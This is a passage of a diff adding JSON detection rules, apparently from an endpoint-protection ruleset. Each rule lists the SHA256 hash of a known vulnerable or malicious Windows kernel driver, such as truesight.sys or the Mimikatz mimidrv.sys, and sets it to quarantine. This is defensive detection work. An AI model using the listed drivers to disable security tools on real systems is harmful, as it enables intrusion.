+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984174Z",
+  "creation_date": "2026-03-23T11:45:29.984176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db68a9cbe22b22cba782592eef76e63e080ee8d30943be6da694701f44b6c33e",
+  "comment": "Vulnerable Kernel Driver (aka OpenLibSys.sys) [https://www.loldrivers.io/drivers/2e4fedb0-30ed-400d-b4e1-b2b2004c1607/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d502764-a8b3-5628-b5cf-5bde97eb0555",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470011Z",
+  "creation_date": "2026-03-23T11:45:30.470014Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3de9802a0a1f2da67908a69b4face53b2e62d8106d7c8e2f1d4acfd0a0694f26",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d51173b-5a18-53b4-a479-393f09876f42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969699Z",
+  "creation_date": "2026-03-23T11:45:29.969701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969706Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "128bf3838267c86c8163f82f087e564814228288702e08b31ec26dc7525159ac",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d5531b0-f5dc-5d00-8186-017b93bd5d38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479133Z",
+  "creation_date": "2026-03-23T11:45:30.479137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b205835b818d8a50903cf76936fcf8160060762725bd74a523320cfbd091c038",
+  "comment": "Vulnerable Kernel Driver (aka rtkiow8x64.sys ) [https://www.loldrivers.io/drivers/998ed67c-9c20-46ef-a6ba-abc606b540b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d66d5c6-326e-50b6-a324-0173c22195d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481345Z",
+  "creation_date": "2026-03-23T11:45:30.481349Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481364Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e26a21e1b79ecaee7033e05edb0bd72aca463c23bd6fdf5835916ce2dfdf1a63",
+  "comment": "Vulnerable Kernel Driver (aka phymem_ext64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d74c0fa-f4c0-5dbc-9d5b-be832bbccafb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825906Z",
+  "creation_date": "2026-03-23T11:45:31.825908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e54dd3504b5793374e6a86f6e3bca9cc65adc933966650228bc85aadb4f62db3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d76d0e1-a4a7-57c8-979f-3e67cbe165ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610811Z",
+  "creation_date": "2026-03-23T11:45:29.610813Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610818Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "deecbcd260849178de421d8e2f177dce5c63cf67a48abb23a0e3cf3aa3e00578",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d7d47dc-f469-5ba6-ba98-14f33c00f5c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150858Z",
+  "creation_date": "2026-03-23T11:45:31.150860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150865Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "068b16fe0621a588c76f8c3f5d8c60a5508e59deef745823a8678c8f2eace2f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d81f1a6-0b49-5857-873c-7ea236c7621b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833234Z",
+  "creation_date": "2026-03-23T11:45:30.833238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833246Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a131c92a1a03f5b8270c022d3a037e27e3ac8e94fef4f03c35b533f2115e7b2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2d8ab166-a8df-59f7-ade7-71173e028b12",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809135Z",
+  "creation_date": "2026-03-23T11:45:31.809137Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809143Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5928478c14a1f50542a9c2e5dbdc6a8419e6c8ae79e3aad1209957cdb53bc136",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2da6c0d3-0eca-5574-89b5-5acf10b6c3b5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814363Z",
+  "creation_date": "2026-03-23T11:45:31.814366Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31e47907cb77b4f47b90b1f1d83708970ba9c75003605217e2c5cdadaf01ad9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2daf1f42-7c01-54f7-b8e1-ae81755d50c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819756Z",
+  "creation_date": "2026-03-23T11:45:31.819759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b3e4c6da318fd5a2a0942d19af1acfad48a0bec8a110f9d32c28513841e3f9f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2db32db6-e021-5ff9-be08-f8294763e1e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970582Z",
+  "creation_date": "2026-03-23T11:45:29.970584Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970590Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ecee4ac0ca126487abd39bd461e160118a33f68466128d695ecfde7eca0c340f",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2dc7ad67-af79-5a5c-84d9-fa2dc9bc7982",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489965Z",
+  "creation_date": "2026-03-23T11:45:31.489968Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489977Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a23f56d5fc0fc9bcaabd5943d042241ceac855257f87e4439637bbd769364954",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2dcb60df-aa07-5992-85de-4fd619d494f8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614543Z",
+  "creation_date": "2026-03-23T11:45:29.614545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614550Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47f0cdaa2359a63ad1389ef4a635f1f6eee1f63bdf6ef177f114bdcdadc2e005",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2dce5400-3603-5c20-8638-31d53de3e450",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488552Z",
+  "creation_date": "2026-03-23T11:45:31.488554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488559Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8cdce30ffc719e709b8de1d4146b700d71994e58cccba28e9a24b657708d5cd2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2dcf9b0d-1640-5cd8-ba9a-ced1bfb15ec8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.147168Z",
+  "creation_date": "2026-03-23T11:45:32.147170Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.147176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e44657710d6e525f6807eb32ae74ba8fa4578574e60bd82774bf4b735adf70eb",
+  "comment": "Malicious Kernel Driver (aka AppvVStram_.sys) [https://securelist.com/honeymyte-kernel-mode-rootkit/118590/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2df56d32-b564-5249-ac26-77f766ee0afc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145290Z",
+  "creation_date": "2026-03-23T11:45:31.145292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145297Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "62536485cdd116a9be1d739fc0136e62d33a4d95eda68727166b717f2560ff2a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e1803f1-74a8-5c29-952d-3a079b2969ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819158Z",
+  "creation_date": "2026-03-23T11:45:30.819160Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36d8d27d2ee91c45502d3a6688afc5c09b2b9776232074e65bd813a230eb37d1",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e1859bd-abce-5486-bb40-de526449a23c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490297Z",
+  "creation_date": "2026-03-23T11:45:31.490299Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490305Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "701e9df3097b53de461ba7a61e5499443e57a0cfe6ead7cd4ebbd1867a8c71e4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e22a42c-517a-5762-9d86-6b014106f512",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620295Z",
+  "creation_date": "2026-03-23T11:45:29.620297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620303Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76fb4deaee57ef30e56c382c92abffe2cf616d08dbecb3368c8ee6b02e59f303",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e24b4f7-c09a-52c8-b698-653c0f2547f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492448Z",
+  "creation_date": "2026-03-23T11:45:31.492450Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "400c4daae47f29a340154e2e5ebcacce436f0f00067fcb528c9acbe281f5d8ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2e3473bf-5c8d-5b96-a585-532d5b7629fc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.161146Z",
+  "creation_date": "2026-03-23T11:45:31.161148Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.161154Z",
+  "rule_level": null,
+  "rule_level_override": null,
